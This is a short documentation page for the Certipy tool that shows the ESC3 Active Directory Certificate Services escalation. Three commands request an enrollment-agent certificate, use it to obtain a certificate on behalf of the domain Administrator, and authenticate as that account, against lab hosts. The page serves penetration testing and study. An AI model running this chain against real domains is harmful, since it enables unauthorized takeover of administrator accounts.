Certipy
  • 👋Certipy - ADCS
  • Tool
    • 🚀Install Certify
      • Docker
    • Parameters
      • Account
      • Auth
      • CA
      • Cert
      • Find
      • Forge
  • Certificates
    • Certificates
    • Shadow Certificates
    • Golden Certificates
  • Find Vulnerabilities
    • Page 1
  • Domain Escalation
    • 1️⃣ESC1 - Arbitrary Subject Alternative Name (SAN)
    • 2️⃣ESC2
    • 3️⃣ESC3
Powered by GitBook
On this page

Was this helpful?

  1. Domain Escalation

ESC3

Certificate Request Agent EKU (Enrollment Agent)

$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC3-Test
$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -on-behalf-of 'corp\Administrator' -pfx john.pfx

certipy auth -pfx administrator.pfx -dc-ip 172.16.126.128
PreviousESC2

Last updated 2 years ago

Was this helpful?

3️⃣
Page cover image